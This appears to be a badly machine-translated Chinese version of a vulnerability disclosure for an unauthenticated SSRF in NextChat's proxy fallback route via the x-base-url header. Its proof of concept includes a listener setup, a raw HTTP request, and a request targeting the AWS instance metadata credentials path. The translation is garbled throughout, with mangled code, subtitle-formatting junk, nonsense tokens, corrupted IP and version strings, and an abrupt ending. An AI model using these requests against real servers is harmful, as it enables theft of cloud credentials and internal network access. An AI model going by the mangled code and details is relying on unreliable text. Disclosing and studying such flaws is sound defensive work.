未经过认证的 SSRF 通过开放代理回退路由 (x-base-url 头)
部署方法
ZZ9ZZ
翻译:
页:1
操作系统
其他 Linux
QQ 系统版本
- 说吧
QQ 浏览器
其它
QQ 浏览器版本
- 说吧
QQ 错误描述
https://GitHub.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-2wvx-vcmx-h8fr - 无答复。
页:1
下一个 Chat 的代理倒置处理器在 “ app/ api/ proxy. ts ” 中执行服务器侧 HTTP 请求,通过 ` x- base- url' 请求头向调用者提供的任何 URL , 没有认证检查和 URL 允许列表 。 任何未经认证的攻击者都可以利用它来探测或与内部网络服务,云元数据端点,以及服务器网络边界后相邻的主机进行互动.
详细情况
Next.js将 " 提供者 " 路径段与已知的 " ApiPath " 值相匹配,向指定的供应商处理者(OpenAI、Anthropic、Google等)发送请求。 任何与已知值不符的提供者名称都属于默认情况:
//app/api/[提供方]/[.路径]/路由.ts 第58-59行
默认 :
返回代理汉德勒(req,{parms});proxyHandler'是从app/api/proxy.ts'进口的。 该处理器从收到的请求中读取了"x-base-url"信头,并将其直接用作上游URL目标:
[TypeScript] // app/api/ proxy.ts 线路 20-22 c. 半导体; const 获取Url = ${req.headers.get () "X -base -url","X -base searchParams.toString () ${req.nextUrl.to String ()}(================================================================================================================================================================================================================================
在`prooxy.ts'中,任何地方都没有叫作`auth()'。 相邻的OpenAI,Anthropic,以及Google处理器在转发前都称为"Auth(req, ModelProvider.*)";代理倒置没有. 因此,HTTP对`/api/<unknown-professor>/<any-path-}>的任何请求都会触发服务器端获取到`x-base-url/<any-path-}>,而不需要访问码或API密钥。
`Access-Control-Allow-Origin:+++和`Access-Control-Allow-Headers:++++ 头被设置在`next.config.mjs'中,意味着这个端点可以从任何网页上到达交叉出处,从而能够从受害人的浏览器中通过驱动进行开发。
• PoC
先决条件:运行中的下Chat实例(Docker图像`yidadaa/ChatGPT-next-web:latest' v2.16.1)。 `CODE'环境变量可以设定;它不影响代理路径。
从 NextChat 服务器访问主机时启动 HTTP 听器 :
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
python3 - m http.server 8080 (英语).向不存在的提供者发送未经认证的请求 :
获取/api/任何提供者/任何路径 HTTP/1.1
主机: <nextchat-host>3:00
x- base-url: http://<内部-倾听器>:8080听者从 NextChat 服务器接收连接 :
172.1.8.03 - - " GET/Anypath HTTP/1" 404 -对调用器的响应包含收听器的 HTTP 服务器头 ('s server: SimpleHTTP/ 6.6 ZZTERM) 11ZZ/3.11.15`),确认请求是服务器端。
要达到 AWS 实例元数据服务:
获得/api/任何pro/latest/元数据/iam/安全-证书/HTTP/1.1
主机 :
. . . . . . .内容来源: ChatGPTNextWeb/NextChat